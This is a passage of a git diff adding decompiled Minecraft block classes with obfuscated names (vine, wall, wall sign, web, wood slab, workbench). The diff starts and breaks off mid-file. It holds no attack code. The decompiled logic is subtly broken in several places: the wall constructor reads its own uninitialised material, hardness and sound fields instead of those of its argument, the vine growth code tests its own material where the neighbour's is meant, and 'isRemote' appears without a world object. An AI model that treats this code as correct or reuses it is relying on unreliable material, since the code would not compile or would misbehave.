+      return func_150093_a(worldIn.getBlockState(pos.offset(side.getOpposite())).getBlock());
+    }
+    
+    return false;
+  }
+  
+
+  private boolean func_150093_a(Block p_150093_1_)
+  {
+    return (p_150093_1_.isFullCube()) && (blockMaterial.blocksMovement());
+  }
+  
+  private boolean func_176269_e(World worldIn, BlockPos p_176269_2_, IBlockState p_176269_3_)
+  {
+    IBlockState var4 = p_176269_3_;
+    Iterator var5 = EnumFacing.Plane.HORIZONTAL.iterator();
+    
+    while (var5.hasNext())
+    {
+      EnumFacing var6 = (EnumFacing)var5.next();
+      PropertyBool var7 = func_176267_a(var6);
+      
+      if ((((Boolean)p_176269_3_.getValue(var7)).booleanValue()) && (!func_150093_a(worldIn.getBlockState(p_176269_2_.offset(var6)).getBlock())))
+      {
+        IBlockState var8 = worldIn.getBlockState(p_176269_2_.offsetUp());
+        
+        if ((var8.getBlock() != this) || (!((Boolean)var8.getValue(var7)).booleanValue()))
+        {
+          p_176269_3_ = p_176269_3_.withProperty(var7, Boolean.valueOf(false));
+        }
+      }
+    }
+    
+    if (func_176268_d(p_176269_3_) == 0)
+    {
+      return false;
+    }
+    
+
+    if (var4 != p_176269_3_)
+    {
+      worldIn.setBlockState(p_176269_2_, p_176269_3_, 2);
+    }
+    
+    return true;
+  }
+  
+
+  public int getBlockColor()
+  {
+    return ColorizerFoliage.getFoliageColorBasic();
+  }
+  
+  public int getRenderColor(IBlockState state)
+  {
+    return ColorizerFoliage.getFoliageColorBasic();
+  }
+  
+  public int colorMultiplier(IBlockAccess worldIn, BlockPos pos, int renderPass)
+  {
+    return worldIn.getBiomeGenForCoords(pos).func_180625_c(pos);
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    if ((!isRemote) && (!func_176269_e(worldIn, pos, state)))
+    {
+      dropBlockAsItem(worldIn, pos, state, 0);
+      worldIn.setBlockToAir(pos);
+    }
+  }
+  
+  public void updateTick(World worldIn, BlockPos pos, IBlockState state, Random rand)
+  {
+    if (!isRemote)
+    {
+      if (rand.nextInt(4) == 0)
+      {
+        byte var5 = 4;
+        int var6 = 5;
+        boolean var7 = false;
+        
+
+        for (int var8 = -var5; var8 <= var5; var8++)
+        {
+          for (int var9 = -var5; var9 <= var5; var9++)
+          {
+            for (int var10 = -1; var10 <= 1; var10++)
+            {
+              if (worldIn.getBlockState(pos.add(var8, var10, var9)).getBlock() == this)
+              {
+                var6--;
+                
+                if (var6 <= 0)
+                {
+                  var7 = true;
+                  break;
+                }
+              }
+            }
+          }
+        }
+        
+        EnumFacing var17 = EnumFacing.random(rand);
+        
+
+        if ((var17 == EnumFacing.UP) && (pos.getY() < 255) && (worldIn.isAirBlock(pos.offsetUp())))
+        {
+          if (!var7)
+          {
+            IBlockState var19 = state;
+            Iterator var22 = EnumFacing.Plane.HORIZONTAL.iterator();
+            
+            while (var22.hasNext())
+            {
+              EnumFacing var23 = (EnumFacing)var22.next();
+              
+              if ((rand.nextBoolean()) || (!func_150093_a(worldIn.getBlockState(pos.offset(var23).offsetUp()).getBlock())))
+              {
+                var19 = var19.withProperty(func_176267_a(var23), Boolean.valueOf(false));
+              }
+            }
+            
+            if ((((Boolean)var19.getValue(field_176273_b)).booleanValue()) || (((Boolean)var19.getValue(field_176278_M)).booleanValue()) || (((Boolean)var19.getValue(field_176279_N)).booleanValue()) || (((Boolean)var19.getValue(field_176280_O)).booleanValue()))
+            {
+              worldIn.setBlockState(pos.offsetUp(), var19, 2);
+
+            }
+            
+          }
+          
+
+        }
+        else if ((var17.getAxis().isHorizontal()) && (!((Boolean)state.getValue(func_176267_a(var17))).booleanValue()))
+        {
+          if (!var7)
+          {
+            BlockPos var18 = pos.offset(var17);
+            Block var21 = worldIn.getBlockState(var18).getBlock();
+            
+            if (blockMaterial == Material.air)
+            {
+              EnumFacing var23 = var17.rotateY();
+              EnumFacing var24 = var17.rotateYCCW();
+              boolean var25 = ((Boolean)state.getValue(func_176267_a(var23))).booleanValue();
+              boolean var26 = ((Boolean)state.getValue(func_176267_a(var24))).booleanValue();
+              BlockPos var27 = var18.offset(var23);
+              BlockPos var16 = var18.offset(var24);
+              
+              if ((var25) && (func_150093_a(worldIn.getBlockState(var27).getBlock())))
+              {
+                worldIn.setBlockState(var18, getDefaultState().withProperty(func_176267_a(var23), Boolean.valueOf(true)), 2);
+              }
+              else if ((var26) && (func_150093_a(worldIn.getBlockState(var16).getBlock())))
+              {
+                worldIn.setBlockState(var18, getDefaultState().withProperty(func_176267_a(var24), Boolean.valueOf(true)), 2);
+              }
+              else if ((var25) && (worldIn.isAirBlock(var27)) && (func_150093_a(worldIn.getBlockState(pos.offset(var23)).getBlock())))
+              {
+                worldIn.setBlockState(var27, getDefaultState().withProperty(func_176267_a(var17.getOpposite()), Boolean.valueOf(true)), 2);
+              }
+              else if ((var26) && (worldIn.isAirBlock(var16)) && (func_150093_a(worldIn.getBlockState(pos.offset(var24)).getBlock())))
+              {
+                worldIn.setBlockState(var16, getDefaultState().withProperty(func_176267_a(var17.getOpposite()), Boolean.valueOf(true)), 2);
+              }
+              else if (func_150093_a(worldIn.getBlockState(var18.offsetUp()).getBlock()))
+              {
+                worldIn.setBlockState(var18, getDefaultState(), 2);
+              }
+            }
+            else if ((blockMaterial.isOpaque()) && (var21.isFullCube()))
+            {
+              worldIn.setBlockState(pos, state.withProperty(func_176267_a(var17), Boolean.valueOf(true)), 2);
+            }
+            
+          }
+          
+        }
+        else if (pos.getY() > 1)
+        {
+          BlockPos var18 = pos.offsetDown();
+          IBlockState var20 = worldIn.getBlockState(var18);
+          Block var11 = var20.getBlock();
+          
+
+
+
+          if (blockMaterial == Material.air)
+          {
+            IBlockState var12 = state;
+            Iterator var13 = EnumFacing.Plane.HORIZONTAL.iterator();
+            
+            while (var13.hasNext())
+            {
+              EnumFacing var14 = (EnumFacing)var13.next();
+              
+              if (rand.nextBoolean())
+              {
+                var12 = var12.withProperty(func_176267_a(var14), Boolean.valueOf(false));
+              }
+            }
+            
+            if ((((Boolean)var12.getValue(field_176273_b)).booleanValue()) || (((Boolean)var12.getValue(field_176278_M)).booleanValue()) || (((Boolean)var12.getValue(field_176279_N)).booleanValue()) || (((Boolean)var12.getValue(field_176280_O)).booleanValue()))
+            {
+              worldIn.setBlockState(var18, var12, 2);
+            }
+          }
+          else if (var11 == this)
+          {
+            IBlockState var12 = var20;
+            Iterator var13 = EnumFacing.Plane.HORIZONTAL.iterator();
+            
+            while (var13.hasNext())
+            {
+              EnumFacing var14 = (EnumFacing)var13.next();
+              PropertyBool var15 = func_176267_a(var14);
+              
+              if ((rand.nextBoolean()) || (!((Boolean)state.getValue(var15)).booleanValue()))
+              {
+                var12 = var12.withProperty(var15, Boolean.valueOf(false));
+              }
+            }
+            
+            if ((((Boolean)var12.getValue(field_176273_b)).booleanValue()) || (((Boolean)var12.getValue(field_176278_M)).booleanValue()) || (((Boolean)var12.getValue(field_176279_N)).booleanValue()) || (((Boolean)var12.getValue(field_176280_O)).booleanValue()))
+            {
+              worldIn.setBlockState(var18, var12, 2);
+            }
+          }
+        }
+      }
+    }
+  }
+  
+
+
+  private static int func_176270_b(EnumFacing p_176270_0_)
+  {
+    return 1 << p_176270_0_.getHorizontalIndex();
+  }
+  
+  public IBlockState onBlockPlaced(World worldIn, BlockPos pos, EnumFacing facing, float hitX, float hitY, float hitZ, int meta, EntityLivingBase placer)
+  {
+    IBlockState var9 = getDefaultState().withProperty(field_176277_a, Boolean.valueOf(false)).withProperty(field_176273_b, Boolean.valueOf(false)).withProperty(field_176278_M, Boolean.valueOf(false)).withProperty(field_176279_N, Boolean.valueOf(false)).withProperty(field_176280_O, Boolean.valueOf(false));
+    return facing.getAxis().isHorizontal() ? var9.withProperty(func_176267_a(facing.getOpposite()), Boolean.valueOf(true)) : var9;
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return null;
+  }
+  
+
+
+
+  public int quantityDropped(Random random)
+  {
+    return 0;
+  }
+  
+  public void harvestBlock(World worldIn, EntityPlayer playerIn, BlockPos pos, IBlockState state, TileEntity te)
+  {
+    if ((!isRemote) && (playerIn.getCurrentEquippedItem() != null) && (playerIn.getCurrentEquippedItem().getItem() == Items.shears))
+    {
+      playerIn.triggerAchievement(net.minecraft.stats.StatList.mineBlockStatArray[Block.getIdFromBlock(this)]);
+      spawnAsEntity(worldIn, pos, new ItemStack(net.minecraft.init.Blocks.vine, 1, 0));
+    }
+    else
+    {
+      super.harvestBlock(worldIn, playerIn, pos, state, te);
+    }
+  }
+  
+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    return EnumWorldBlockLayer.CUTOUT;
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(field_176273_b, Boolean.valueOf((meta & field_176276_R) > 0)).withProperty(field_176278_M, Boolean.valueOf((meta & field_176275_S) > 0)).withProperty(field_176279_N, Boolean.valueOf((meta & field_176272_Q) > 0)).withProperty(field_176280_O, Boolean.valueOf((meta & field_176271_T) > 0));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    int var2 = 0;
+    
+    if (((Boolean)state.getValue(field_176273_b)).booleanValue())
+    {
+      var2 |= field_176276_R;
+    }
+    
+    if (((Boolean)state.getValue(field_176278_M)).booleanValue())
+    {
+      var2 |= field_176275_S;
+    }
+    
+    if (((Boolean)state.getValue(field_176279_N)).booleanValue())
+    {
+      var2 |= field_176272_Q;
+    }
+    
+    if (((Boolean)state.getValue(field_176280_O)).booleanValue())
+    {
+      var2 |= field_176271_T;
+    }
+    
+    return var2;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { field_176277_a, field_176273_b, field_176278_M, field_176279_N, field_176280_O });
+  }
+  
+  public static PropertyBool func_176267_a(EnumFacing p_176267_0_)
+  {
+    switch (SwitchEnumFacing.field_177057_a[p_176267_0_.ordinal()])
+    {
+    case 1: 
+      return field_176277_a;
+    
+    case 2: 
+      return field_176273_b;
+    
+    case 3: 
+      return field_176279_N;
+    
+    case 4: 
+      return field_176278_M;
+    
+    case 5: 
+      return field_176280_O;
+    }
+    
+    throw new IllegalArgumentException(p_176267_0_ + " is an invalid choice");
+  }
+  
+
+  public static int func_176268_d(IBlockState p_176268_0_)
+  {
+    int var1 = 0;
+    PropertyBool[] var2 = field_176274_P;
+    int var3 = var2.length;
+    
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      PropertyBool var5 = var2[var4];
+      
+      if (((Boolean)p_176268_0_.getValue(var5)).booleanValue())
+      {
+        var1++;
+      }
+    }
+    
+    return var1;
+  }
+  
+  static final class SwitchEnumFacing
+  {
+    static final int[] field_177057_a = new int[EnumFacing.values().length];
+    private static final String __OBFID = "CL_00002049";
+    
+    static
+    {
+      try
+      {
+        field_177057_a[EnumFacing.UP.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_177057_a[EnumFacing.NORTH.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_177057_a[EnumFacing.SOUTH.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_177057_a[EnumFacing.EAST.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+      
+
+
+
+      try
+      {
+        field_177057_a[EnumFacing.WEST.ordinal()] = 5;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError5) {}
+    }
+    
+    SwitchEnumFacing() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockWall.java b/src/minecraft/net/minecraft/block/BlockWall.java
new file mode 100644
index 0000000..1b2c5e8
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockWall.java
@@ -0,0 +1,282 @@
+package net.minecraft.block;
+
+import java.util.List;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyBool;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.IStringSerializable;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockWall
+  extends Block
+{
+  public static final PropertyBool field_176256_a = PropertyBool.create("up");
+  public static final PropertyBool field_176254_b = PropertyBool.create("north");
+  public static final PropertyBool field_176257_M = PropertyBool.create("east");
+  public static final PropertyBool field_176258_N = PropertyBool.create("south");
+  public static final PropertyBool field_176259_O = PropertyBool.create("west");
+  public static final PropertyEnum field_176255_P = PropertyEnum.create("variant", EnumType.class);
+  private static final String __OBFID = "CL_00000331";
+  
+  public BlockWall(Block p_i45435_1_)
+  {
+    super(blockMaterial);
+    setDefaultState(blockState.getBaseState().withProperty(field_176256_a, Boolean.valueOf(false)).withProperty(field_176254_b, Boolean.valueOf(false)).withProperty(field_176257_M, Boolean.valueOf(false)).withProperty(field_176258_N, Boolean.valueOf(false)).withProperty(field_176259_O, Boolean.valueOf(false)).withProperty(field_176255_P, EnumType.NORMAL));
+    setHardness(blockHardness);
+    setResistance(blockResistance / 3.0F);
+    setStepSound(stepSound);
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+  public boolean isPassable(IBlockAccess blockAccess, BlockPos pos)
+  {
+    return false;
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+  {
+    boolean var3 = func_176253_e(access, pos.offsetNorth());
+    boolean var4 = func_176253_e(access, pos.offsetSouth());
+    boolean var5 = func_176253_e(access, pos.offsetWest());
+    boolean var6 = func_176253_e(access, pos.offsetEast());
+    float var7 = 0.25F;
+    float var8 = 0.75F;
+    float var9 = 0.25F;
+    float var10 = 0.75F;
+    float var11 = 1.0F;
+    
+    if (var3)
+    {
+      var9 = 0.0F;
+    }
+    
+    if (var4)
+    {
+      var10 = 1.0F;
+    }
+    
+    if (var5)
+    {
+      var7 = 0.0F;
+    }
+    
+    if (var6)
+    {
+      var8 = 1.0F;
+    }
+    
+    if ((var3) && (var4) && (!var5) && (!var6))
+    {
+      var11 = 0.8125F;
+      var7 = 0.3125F;
+      var8 = 0.6875F;
+    }
+    else if ((!var3) && (!var4) && (var5) && (var6))
+    {
+      var11 = 0.8125F;
+      var9 = 0.3125F;
+      var10 = 0.6875F;
+    }
+    
+    setBlockBounds(var7, 0.0F, var9, var8, var11, var10);
+  }
+  
+  public AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state)
+  {
+    setBlockBoundsBasedOnState(worldIn, pos);
+    maxY = 1.5D;
+    return super.getCollisionBoundingBox(worldIn, pos, state);
+  }
+  
+  public boolean func_176253_e(IBlockAccess p_176253_1_, BlockPos p_176253_2_)
+  {
+    Block var3 = p_176253_1_.getBlockState(p_176253_2_).getBlock();
+    return var3 != Blocks.barrier;
+  }
+  
+
+
+
+  public void getSubBlocks(Item itemIn, CreativeTabs tab, List list)
+  {
+    EnumType[] var4 = EnumType.values();
+    int var5 = var4.length;
+    
+    for (int var6 = 0; var6 < var5; var6++)
+    {
+      EnumType var7 = var4[var6];
+      list.add(new ItemStack(itemIn, 1, var7.func_176657_a()));
+    }
+  }
+  
+
+
+
+  public int damageDropped(IBlockState state)
+  {
+    return ((EnumType)state.getValue(field_176255_P)).func_176657_a();
+  }
+  
+  public boolean shouldSideBeRendered(IBlockAccess worldIn, BlockPos pos, EnumFacing side)
+  {
+    return side == EnumFacing.DOWN ? super.shouldSideBeRendered(worldIn, pos, side) : true;
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    return getDefaultState().withProperty(field_176255_P, EnumType.func_176660_a(meta));
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((EnumType)state.getValue(field_176255_P)).func_176657_a();
+  }
+  
+
+
+
+
+  public IBlockState getActualState(IBlockState state, IBlockAccess worldIn, BlockPos pos)
+  {
+    return state.withProperty(field_176256_a, Boolean.valueOf(!worldIn.isAirBlock(pos.offsetUp()))).withProperty(field_176254_b, Boolean.valueOf(func_176253_e(worldIn, pos.offsetNorth()))).withProperty(field_176257_M, Boolean.valueOf(func_176253_e(worldIn, pos.offsetEast()))).withProperty(field_176258_N, Boolean.valueOf(func_176253_e(worldIn, pos.offsetSouth()))).withProperty(field_176259_O, Boolean.valueOf(func_176253_e(worldIn, pos.offsetWest())));
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new IProperty[] { field_176256_a, field_176254_b, field_176257_M, field_176259_O, field_176258_N, field_176255_P });
+  }
+  
+  public static enum EnumType implements IStringSerializable
+  {
+    NORMAL("NORMAL", 0, 0, "cobblestone", "normal"), 
+    MOSSY("MOSSY", 1, 1, "mossy_cobblestone", "mossy");
+    
+    private static final EnumType[] field_176666_c;
+    private final int field_176663_d;
+    private final String field_176664_e;
+    private String field_176661_f;
+    private static final EnumType[] $VALUES;
+    private static final String __OBFID = "CL_00002048";
+    
+    private EnumType(String p_i45673_1_, int p_i45673_2_, int p_i45673_3_, String p_i45673_4_, String p_i45673_5_)
+    {
+      field_176663_d = p_i45673_3_;
+      field_176664_e = p_i45673_4_;
+      field_176661_f = p_i45673_5_;
+    }
+    
+    public int func_176657_a()
+    {
+      return field_176663_d;
+    }
+    
+    public String toString()
+    {
+      return field_176664_e;
+    }
+    
+    public static EnumType func_176660_a(int p_176660_0_)
+    {
+      if ((p_176660_0_ < 0) || (p_176660_0_ >= field_176666_c.length))
+      {
+        p_176660_0_ = 0;
+      }
+      
+      return field_176666_c[p_176660_0_];
+    }
+    
+    public String getName()
+    {
+      return field_176664_e;
+    }
+    
+    public String func_176659_c()
+    {
+      return field_176661_f;
+    }
+    
+    static
+    {
+      field_176666_c = new EnumType[values().length];
+      
+
+
+
+      $VALUES = new EnumType[] { NORMAL, MOSSY };
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      EnumType[] var0 = values();
+      int var1 = var0.length;
+      
+      for (int var2 = 0; var2 < var1; var2++)
+      {
+        EnumType var3 = var0[var2];
+        field_176666_c[var3.func_176657_a()] = var3;
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockWallSign.java b/src/minecraft/net/minecraft/block/BlockWallSign.java
new file mode 100644
index 0000000..bbe7557
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockWallSign.java
@@ -0,0 +1,135 @@
+package net.minecraft.block;
+
+import net.minecraft.block.properties.PropertyDirection;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Plane;
+import net.minecraft.world.IBlockAccess;
+import net.minecraft.world.World;
+
+public class BlockWallSign extends BlockSign
+{
+  public static final PropertyDirection field_176412_a = PropertyDirection.create("facing", EnumFacing.Plane.HORIZONTAL);
+  private static final String __OBFID = "CL_00002047";
+  
+  public BlockWallSign()
+  {
+    setDefaultState(blockState.getBaseState().withProperty(field_176412_a, EnumFacing.NORTH));
+  }
+  
+  public void setBlockBoundsBasedOnState(IBlockAccess access, BlockPos pos)
+  {
+    EnumFacing var3 = (EnumFacing)access.getBlockState(pos).getValue(field_176412_a);
+    float var4 = 0.28125F;
+    float var5 = 0.78125F;
+    float var6 = 0.0F;
+    float var7 = 1.0F;
+    float var8 = 0.125F;
+    setBlockBounds(0.0F, 0.0F, 0.0F, 1.0F, 1.0F, 1.0F);
+    
+    switch (SwitchEnumFacing.field_177331_a[var3.ordinal()])
+    {
+    case 1: 
+      setBlockBounds(var6, var4, 1.0F - var8, var7, var5, 1.0F);
+      break;
+    
+    case 2: 
+      setBlockBounds(var6, var4, 0.0F, var7, var5, var8);
+      break;
+    
+    case 3: 
+      setBlockBounds(1.0F - var8, var4, var6, 1.0F, var5, var7);
+      break;
+    
+    case 4: 
+      setBlockBounds(0.0F, var4, var6, var8, var5, var7);
+    }
+  }
+  
+  public void onNeighborBlockChange(World worldIn, BlockPos pos, IBlockState state, Block neighborBlock)
+  {
+    EnumFacing var5 = (EnumFacing)state.getValue(field_176412_a);
+    
+    if (!worldIn.getBlockState(pos.offset(var5.getOpposite())).getBlock().getMaterial().isSolid())
+    {
+      dropBlockAsItem(worldIn, pos, state, 0);
+      worldIn.setBlockToAir(pos);
+    }
+    
+    super.onNeighborBlockChange(worldIn, pos, state, neighborBlock);
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    EnumFacing var2 = EnumFacing.getFront(meta);
+    
+    if (var2.getAxis() == net.minecraft.util.EnumFacing.Axis.Y)
+    {
+      var2 = EnumFacing.NORTH;
+    }
+    
+    return getDefaultState().withProperty(field_176412_a, var2);
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    return ((EnumFacing)state.getValue(field_176412_a)).getIndex();
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return new BlockState(this, new net.minecraft.block.properties.IProperty[] { field_176412_a });
+  }
+  
+  static final class SwitchEnumFacing
+  {
+    static final int[] field_177331_a = new int[EnumFacing.values().length];
+    private static final String __OBFID = "CL_00002046";
+    
+    static
+    {
+      try
+      {
+        field_177331_a[EnumFacing.NORTH.ordinal()] = 1;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError1) {}
+      
+
+
+
+      try
+      {
+        field_177331_a[EnumFacing.SOUTH.ordinal()] = 2;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError2) {}
+      
+
+
+
+      try
+      {
+        field_177331_a[EnumFacing.WEST.ordinal()] = 3;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError3) {}
+      
+
+
+
+      try
+      {
+        field_177331_a[EnumFacing.EAST.ordinal()] = 4;
+      }
+      catch (NoSuchFieldError localNoSuchFieldError4) {}
+    }
+    
+    SwitchEnumFacing() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockWeb.java b/src/minecraft/net/minecraft/block/BlockWeb.java
new file mode 100644
index 0000000..dca8317
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockWeb.java
@@ -0,0 +1,67 @@
+package net.minecraft.block;
+
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.Entity;
+import net.minecraft.init.Items;
+import net.minecraft.item.Item;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumWorldBlockLayer;
+import net.minecraft.world.World;
+
+public class BlockWeb extends Block
+{
+  private static final String __OBFID = "CL_00000333";
+  
+  public BlockWeb()
+  {
+    super(Material.web);
+    setCreativeTab(CreativeTabs.tabDecorations);
+  }
+  
+
+
+
+  public void onEntityCollidedWithBlock(World worldIn, BlockPos pos, IBlockState state, Entity entityIn)
+  {
+    entityIn.setInWeb();
+  }
+  
+  public boolean isOpaqueCube()
+  {
+    return false;
+  }
+  
+  public AxisAlignedBB getCollisionBoundingBox(World worldIn, BlockPos pos, IBlockState state)
+  {
+    return null;
+  }
+  
+  public boolean isFullCube()
+  {
+    return false;
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Items.string;
+  }
+  
+  protected boolean canSilkHarvest()
+  {
+    return true;
+  }
+  
+  public EnumWorldBlockLayer getBlockLayer()
+  {
+    return EnumWorldBlockLayer.CUTOUT;
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockWoodSlab.java b/src/minecraft/net/minecraft/block/BlockWoodSlab.java
new file mode 100644
index 0000000..eef3384
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockWoodSlab.java
@@ -0,0 +1,130 @@
+package net.minecraft.block;
+
+import java.util.List;
+import java.util.Random;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.properties.IProperty;
+import net.minecraft.block.properties.PropertyEnum;
+import net.minecraft.block.state.BlockState;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.init.Blocks;
+import net.minecraft.item.Item;
+import net.minecraft.item.ItemStack;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public abstract class BlockWoodSlab extends BlockSlab
+{
+  public static final PropertyEnum field_176557_b = PropertyEnum.create("variant", BlockPlanks.EnumType.class);
+  private static final String __OBFID = "CL_00000337";
+  
+  public BlockWoodSlab()
+  {
+    super(Material.wood);
+    IBlockState var1 = blockState.getBaseState();
+    
+    if (!isDouble())
+    {
+      var1 = var1.withProperty(HALF_PROP, BlockSlab.EnumBlockHalf.BOTTOM);
+    }
+    
+    setDefaultState(var1.withProperty(field_176557_b, BlockPlanks.EnumType.OAK));
+    setCreativeTab(CreativeTabs.tabBlock);
+  }
+  
+
+
+
+
+
+  public Item getItemDropped(IBlockState state, Random rand, int fortune)
+  {
+    return Item.getItemFromBlock(Blocks.wooden_slab);
+  }
+  
+  public Item getItem(World worldIn, BlockPos pos)
+  {
+    return Item.getItemFromBlock(Blocks.wooden_slab);
+  }
+  
+
+
+
+  public String getFullSlabName(int p_150002_1_)
+  {
+    return super.getUnlocalizedName() + "." + BlockPlanks.EnumType.func_176837_a(p_150002_1_).func_176840_c();
+  }
+  
+  public IProperty func_176551_l()
+  {
+    return field_176557_b;
+  }
+  
+  public Object func_176553_a(ItemStack p_176553_1_)
+  {
+    return BlockPlanks.EnumType.func_176837_a(p_176553_1_.getMetadata() & 0x7);
+  }
+  
+
+
+
+  public void getSubBlocks(Item itemIn, CreativeTabs tab, List list)
+  {
+    if (itemIn != Item.getItemFromBlock(Blocks.double_wooden_slab))
+    {
+      BlockPlanks.EnumType[] var4 = BlockPlanks.EnumType.values();
+      int var5 = var4.length;
+      
+      for (int var6 = 0; var6 < var5; var6++)
+      {
+        BlockPlanks.EnumType var7 = var4[var6];
+        list.add(new ItemStack(itemIn, 1, var7.func_176839_a()));
+      }
+    }
+  }
+  
+
+
+
+  public IBlockState getStateFromMeta(int meta)
+  {
+    IBlockState var2 = getDefaultState().withProperty(field_176557_b, BlockPlanks.EnumType.func_176837_a(meta & 0x7));
+    
+    if (!isDouble())
+    {
+      var2 = var2.withProperty(HALF_PROP, (meta & 0x8) == 0 ? BlockSlab.EnumBlockHalf.BOTTOM : BlockSlab.EnumBlockHalf.TOP);
+    }
+    
+    return var2;
+  }
+  
+
+
+
+  public int getMetaFromState(IBlockState state)
+  {
+    byte var2 = 0;
+    int var3 = var2 | ((BlockPlanks.EnumType)state.getValue(field_176557_b)).func_176839_a();
+    
+    if ((!isDouble()) && (state.getValue(HALF_PROP) == BlockSlab.EnumBlockHalf.TOP))
+    {
+      var3 |= 0x8;
+    }
+    
+    return var3;
+  }
+  
+  protected BlockState createBlockState()
+  {
+    return isDouble() ? new BlockState(this, new IProperty[] { field_176557_b }) : new BlockState(this, new IProperty[] { HALF_PROP, field_176557_b });
+  }
+  
+
+
+
+  public int damageDropped(IBlockState state)
+  {
+    return ((BlockPlanks.EnumType)state.getValue(field_176557_b)).func_176839_a();
+  }
+}
diff --git a/src/minecraft/net/minecraft/block/BlockWorkbench.java b/src/minecraft/net/minecraft/block/BlockWorkbench.java
new file mode 100644
index 0000000..a5ed9dd
--- /dev/null
+++ b/src/minecraft/net/minecraft/block/BlockWorkbench.java
@@ -0,0 +1,78 @@
+package net.minecraft.block;
+
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.InventoryPlayer;
+import net.minecraft.init.Blocks;
+import net.minecraft.inventory.Container;
+import net.minecraft.inventory.ContainerWorkbench;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ChatComponentTranslation;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.IChatComponent;
+import net.minecraft.world.IInteractionObject;
+import net.minecraft.world.World;
+
+public class BlockWorkbench extends Block
+{
+  private static final String __OBFID = "CL_00000221";
+  
+  protected BlockWorkbench()
+  {
+    super(Material.wood);
+    setCreativeTab(CreativeTabs.tabDecorations);
+  }
+  
+  public boolean onBlockActivated(World worldIn, BlockPos pos, IBlockState state, EntityPlayer playerIn, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (isRemote)
+    {
+      return true;
+    }
+    
+
+    playerIn.displayGui(new InterfaceCraftingTable(worldIn, pos));
+    return true;
+  }
+  
+  public static class InterfaceCraftingTable
+    implements IInteractionObject
+  {
+    private final World world;
+    private final BlockPos position;
+    private static final String __OBFID = "CL_00002127";
+    
+    public InterfaceCraftingTable(World worldIn, BlockPos p_i45730_2_)
+    {
+      world = worldIn;
+      position = p_i45730_2_;
+    }
+    
+    public String getName()
+    {
+      return null;
+    }
+    
+    public boolean hasCustomName()
+    {
+      return false;
+    }
+    
+    public IChatComponent getDisplayName()
+    {
+      return new ChatComponentTranslation(Blocks.crafting_table.getUnlocalizedName() + ".name", new Object[0]);
+    }
+    
+    public Container createContainer(InventoryPlayer playerInventory, EntityPlayer playerIn)
+    {
